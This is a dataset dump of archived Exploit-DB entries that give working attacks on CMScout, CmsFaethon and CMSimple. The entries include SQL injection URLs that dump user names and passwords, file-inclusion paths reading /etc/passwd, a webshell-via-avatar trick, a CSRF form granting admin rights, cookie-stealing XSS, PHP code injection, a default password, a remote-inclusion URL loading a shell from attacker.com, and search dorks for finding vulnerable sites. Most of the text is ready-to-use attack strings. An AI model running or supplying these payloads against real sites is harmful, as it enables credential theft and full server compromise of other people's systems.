deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12806
Description: CMScout - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-30
Author: XroGuE

Exploit:
=======================================================================
# CMScout (XSS/HTML Injection) Multiple Vulnerabilities
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ####################################              1
0                    I'm XroGuE member from Inj3ct0r Team              1
1                    ####################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 

########################################################################
# Name: CMScout (XSS/HTML Injection) Multiple Vulnerabilities
# Vendor: http://www.cmscout.za.net/
# Date: 2010-05-28
# Author: XroGuE
# Thanks: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: Powered by CMScout (c)2005 CMScout Group

[+] Demo: http://[site]/index.php?page=search&menuid=5
 
[+] Description: Put Your Script In Search Box And Press SearCh !

[+] Example:
        
        
        <marquee><font color=Blue size=15>XroGuE</font></marquee>

#######################################################################
Exploit-DB #4182
Description: CMScout 1.23 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-14
Author: g00ns

Exploit:
###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#CMScout <= 1.23 SQL Injection
#
#Script Download ##############################################################################
#http://www.cmscout.za.net/index.php?page=downloads&id=45&action=down&catid=1
#
#d0rk #########################################################################################
#"Powered by CMScout"
#
#Spl0it #######################################################################################
#http://[ site ]/index.php?page=forums&f=1/**/union/**/all/**/select/**/0,uname,passwd,2,3,4,5,6,7,8/**/from/**/cms_authuser/*
#
#vuln discovered by ###########################################################################
#FiSh
#
#shoutz: MurderSkillz, z3r0, milf, godXcel, clorox, katalyst, SyNiCaL, OD, pr0be, str0ke,
#sCuZz, canuck, Vipsta, c0ma, grumpy, SiCk, trintitty, 13337.org, a59, fury,
#<S>, Bernard, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-07-14]
Exploit-DB #6142
Description: CMScout 2.05 - 'bit' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-27
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                            CMScout 2.05 LFI                                 ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.cmscout.co.za                                                #
#                                                                                   #
#DORK : "Powered by CMScout Â©2005 CMScout Group"                                    #
#                                                                                   #
#####################################################################################
#                                       [Lfi]                                       #
#http://Example/common.php?bit=file.type%00                                         #
#                                                                                   #
#Note : You can mix a shell code and image then upload this image as your avatar and load it by this bug,your avatars save in /avatars folder  ;) 
#Ex. http://Example/common.php?bit=avatars/0254d5d7v15d_sd5e5550053.jpg%00&cmd=ls   # 
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-07-27]
Exploit-DB #7625
Description: CMScout 2.06 - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-30
Author: SirGod

Exploit:
#############################################################################################
[+] CMScout 2.06 Remote SQL Injection/Local File Inclusion
[+] Discovered By SirGod
[+] Visit : www.mortal-team.org
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

[+] Script homepage : http://www.cmscout.co.za/
[+] Dork : Powered by CMScout (c)2005 CMScout Group

[+] Remote SQL Injection


-------------------------------------------------------------------------------
1)

- You must be logged in as normal user.Add a download and go to :

 Example :

  http://[target]/[path]/index.php?page=mythings&cat=downloads&action=edit&id=null union all select 1,2,3,4,concat_ws(0x3a,uname,passwd),6,7,8,9,10,11 from cms_users--


--------------------------------------------------------------------------------
2)

- You must be logged in as administrator .

 Example :

  http://[target]/[path]/admin.php?page=users&subpage=users_view&id=null union all select 1,2,concat_ws(0x3a,uname,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 from cms_users--

---------------------------------------------------------------------------------

[+] Local File Inclusion

---------------------------------------------------------------------------------
1)

- Vulnerable code in admin.php :

++++++++++++++++++++++++++++++++++++++++++++++++++++++

require_once ("{$bit}includes/error_handling.php");

++++++++++++++++++++++++++++++++++++++++++++++++++++++

Example :

http://[target]/[path]/admin.php?bit=../../../../../boot.ini%00

----------------------------------------------------------------------------------
2)

- Vunerable code in index.php :

++++++++++++++++++++++++++++++++++++++++++++++++++++++

require_once ("{$bit}includes/error_handling.php");

++++++++++++++++++++++++++++++++++++++++++++++++++++++

Example :

http://[target]/[path]/index.php?bit=../../../../boot.ini%00

----------------------------------------------------------------------------------


#############################################################################################

# milw0rm.com [2008-12-30]
Exploit-DB #34055
Description: CMScout 2.08 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-28
Author: XroGuE

Exploit:
source: https://www.securityfocus.com/bid/40442/info

CMScout is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

The following example input to the 'search' field is available:
<marquee><font color=Blue size=15>XroGuE</font></marquee>
Exploit-DB #12407
Description: CMScout 2.08 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-26
Author: Dr.0rYX & Cr3W-DZ

Exploit:
# Title: CMScout 2.08 SQL Injection Vulnerability
# EDB-ID: 
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dr.0rYX and Cr3w-DZ
# Published: 
# Verified: 
# Download Exploit Code
# Download N/A

  NNNN      NNNN        AAAAAA          SSSSSSSS      TTTTTTTTTTTT                                                
  NNNNNN    NNNN        AAAAAA        SSSSSSSSSSSS    TTTTTTTTTTTT                                                
  NNNNNN    NNNN      AAAA  AAAA      SSSS                TTTT          eeeeee        aaaaaa      mmmm  mm  mmmm  
  NNNNNNNN  NNNN      AAAA  AAAA      SSSSSSSSSS          TTTT        eeee  eeee    aaaa  aaaa    mmmmmmmmmmmmmmmm
  NNNN  NNNNNNNN    AAAA      AAAA        SSSSSSSS        TTTT        eeeeeeeeee        aaaaaa    mmmm  mmmm  mmmm
  NNNN    NNNNNN    AAAAAAAAAAAAAA            SSSS        TTTT        eeee          aaaa  aaaa    mmmm  mmmm  mmmm
  NNNN    NNNNNN    AAAAAAAAAAAAAA    SSSSSSSSSSSS        TTTT        eeeeeeeeee    aaaa  aaaa    mmmm  mmmm  mmmm
  NNNN      NNNN  AAAA          AAAA    SSSSSSSS          TTTT          eeeeee      aaaaaaaaaa    mmmm  mmmm  mmmm




                                ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************
 
[!] Title     :  CMScout 2.08 SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de
 
***************************************************************************/
 
[ Software Information ]
 
[+] Vendor   : http://www.cmscout.za.net/
[+] script   : CMScout 2.08
[+] Download : http://www.cmscout.co.za/index.php?page=downloads&menuid=9
[+] Vulnerability : php SQL injection
[+] Dork :Powered by CMScout (c)2005 CMScout Group

 
**************************************************************************/
[ Vulnerable File ]
 
http://server/index.php?page=photos&album=[N.A.S.T ]
 
[ Exploit ]
 
http://server/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat(uname,0x3a,passwd),3,4,5+from+sn_users--
 
 
 
[ Example  ]
 
http://[site]/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat%28uname,0x3a,passwd%29,3,4,5+from+sn_users--
 
[  Greets ]
 
[+] :CLAW , exploit-db.com,all my friends....
Exploit-DB #15715
Description: CMScout 2.09 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-12-09
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22719
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cmscout.html
Product: CMScout
Vendor: CMScout Team ( http://www.cmscout.co.za/ ) 
Vulnerable Version: 2.09 and probably prior versions
Vendor Notification: 25 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=users&subpage=usergroups&subpage=usergroups&action=add&uid=USER_ID" method="post" name="main" >
<input type="hidden" name="gid" value="1">
<input type="hidden" name="utype" value="2">
<input type="hidden" name="action" value="Add">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #34639
Description: CMScout IBrowser TinyMCE Plugin 2.3.4.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-15
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43260/info

CMScout is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

CMScout 2.09 is vulnerable; other versions may also be affected.

http://www.example.com/cmscout/tiny_mce/plugins/ibrowser/ibrowser.php?lang=../../../../../../../../windows/win.ini%00
Exploit-DB #11894
Description: CmsFaethon 2.2.0 (ultimate.7z) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-26
Author: eidelweiss

Exploit:
#####################################################################################
	cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
#####################################################################################

[+]Vendor: 	CMS Faethon
[+]Version: 	2.2.0-ultimate.7z
[+]License: 	GNU GENERAL PUBLIC LICENSE
[+]Download:	http://sourceforge.net/projects/cmsfaethon/files/
[+]Risk: 	High
[+]Remote:	Yes
[+]Local:	Yes
[+]Vulnerable:	Since v1.12
		CMS Faethon 1.3 (CMS Faethon 1.3-Ultimed to  cmsfaethon-1.3.5-ultimate.7z)
		CMS Faethon 2.0 (cmsfaethon-2.0-ultimate.7 to CMS Faethon 2.0.5 Blog Edition )
		CMS Faethon 2.2.0 Ultimate
		
###########################################################
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com
[+]Date:	March 26 2010 (published march 27)
[+]Thank`s:	sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)
[+]Special:	[D]eal [C]yber - syabilla_putri (i miss u to) 
###########################################################

####################


-=[Description]=-


CMS Faethon is content management system for different web pages.

	CMS Faethon 2.2
	  
	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

####################

-=[ VULN & =[P0C]= C0de ]=-

####################
	$File: admin/index.php
####################

***/

session_start();
$mainpath = "./";
include($mainpath .'../lib/functions_SQL.php'); 
include($mainpath .'../lib/functions_DATE.php');
include($mainpath .'../lib/class_multilang.php');
include($mainpath .'../lib/class_menu.php');
if($_GET['cmd'] != 'acp' || ($_GET['cmd'] == 'acp' && isset($_SESSION['auth_key']))) {
	include($mainpath .'header.php');
} else {
	include($mainpath .'config.php'); // possible Lfi here
	include($mainpath .'auth.php');
}

####################
	$File: mobile/index.php
####################


require('../config.php');
include('../lang/'.$cfg['lang'].'.inc');
$mainpath = "./";
$title = "Titulní strana";
include($mainpath . 'header.php');

####################
	$File: admin/articles/edit.php
####################

if(!isset($_GET['cmd'])) { 
	$mainpath = "../"; 
	include($mainpath . '../lib/functions_SQL.php');
	include($mainpath . 'header.php') ;


-=[P0C]=-

	http://127.0.0.1/[cms_faethon_path]/admin/index.php?mainpath=[LFI]%00
	
	http://127.0.0.1/[cms_faethon_path]/admin/articles/edit.php?mainpath=[RFI]

	http://127.0.0.1/[cms_faethon_path]/mobile/index.php?mainpath=[RFI]
	
	etc,etc,etc !!!

	so many vulnerability in this project 
	(I also saw possibility Directory Traversal vulnerability , use your skill and play your imaginasion)


###########################################################=[E0F]=###########################################################
Exploit-DB #39271
Description: CMSimple - Default Administrator Credentials
Type: webapps
Platform: php
Date: 2014-07-28
Author: Govind Singh

Exploit:
source: https://www.securityfocus.com/bid/68961/info

CMSimple is prone to multiple security vulnerabilities including:

1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities

An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

Any user can login just with simple password "test" which is the default cms password & there own vendor site is vulnerable with weak authentication 
just login without user name & also with default password "test" here "http://cmsimple.org/2author/?Welcome_to_CMSimple&login"
Exploit-DB #5700
Description: CMSimple 3.1 - Local File Inclusion / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-05-31
Author: irk4z

Exploit:
<pre>
#
# CMSimple 3.1 Local File Inclusion / Arbitrary File Upload
# download: http://www.cmsimple.org/?Downloads
# dork: "Powered by CMSimple"
#
# author: irk4z@yahoo.pl
# homepage: http://irk4z.wordpress.com
#


Local File Inclusion :

	http://[host]/[path]/index.php?sl=[file]%00
	http://[host]/[path]/index.php?sl=../../../../../../../etc/passwd%00


Arbitrary File Upload (into http://[host]/[path]/downloads/ ):
</pre>
<form method="POST" enctype="multipart/form-data" action="http://[host]/[path]/index.php?sl=../adm&adm=1" >
<input type="file" class="file" name="downloads" size="30">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="function" value="downloads">
<input type="submit" class="submit" value="Upload">
</form>

# milw0rm.com [2008-05-31]
Exploit-DB #36997
Description: CMSimple 3.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-21
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52661/info

CMSimple is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CMSimple 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com//cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script>
Exploit-DB #39273
Description: CMSimple 4.4.4 - 'color' Remote Code Execution
Type: webapps
Platform: php
Date: 2014-07-28
Author: Govind Singh

Exploit:
source: https://www.securityfocus.com/bid/68961/info
  
CMSimple is prone to multiple security vulnerabilities including:
  
1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities
  
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

vulnerable file "http://www.example.com/CMSimple/2author/index.php" 

An attacker might execute arbitrary PHP code with this vulnerability. User tainted data is embedded into a function that compiles PHP code on the run and executes it thus allowing an attacker to inject own PHP code that will be executed. 
This vulnerability can lead to full server compromise.

Vulnerable Code:
-------------------------------------vulnerable code---------------------------------------
    1320: preg_replace $c[$s] = preg_replace($words, '<span style="background: ' . $cmsimple_highlight_bg . '; color: ' . $cmsimple_highlight_tx . ';">\\0</span>', $c[$s]);  // functions.php
        1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words);  // functions.php
            1315: $words = explode(',', urldecode($_GET['search']));  // functions.php
        1308:  function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL)
        1308:  function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL)
--------------------------------------vulnerable Code---------------------------------------
    1324: preg_replace $c[$s] = preg_replace($words, '<span class="highlight_search">\\0</span>', $c[$s]);  // functions.php
        1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words);  // functions.php
            1315: $words = explode(',', urldecode($_GET['search']));  // functions.php
    



-------------------------------PoC:------------------------------ 
http://www.example.com/CMSimple/2author/index.php?color=';phpinfo();//

also effect these files :
    CMSimple/2lang/index.php
    CMSimple/2site/index.php
    CMSimple/2site2lang/index.php
    CMSimple/cmsimple/cms.php
    CMSimple/cmsimple/functions.php
    CMSimple/index.php
Exploit-DB #39272
Description: CMSimple 4.4.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2014-07-28
Author: Govind Singh

Exploit:
source: https://www.securityfocus.com/bid/68961/info
 
CMSimple is prone to multiple security vulnerabilities including:
 
1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities
 
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

vulnerable file "http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php"

Vulnerable Code :
-----------------------------------vulnerable Code----------------------------------------

        require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';
        require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';

exploit Code :
-------------------------------------PoC----------------------------------------

http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?

also embedded These files :
    CMSimple/2lang/index.php
    CMSimple/2site/index.php
    CMSimple/cmsimple/cms.php
    CMSimple/index.php
    CMSimple/plugins/index.php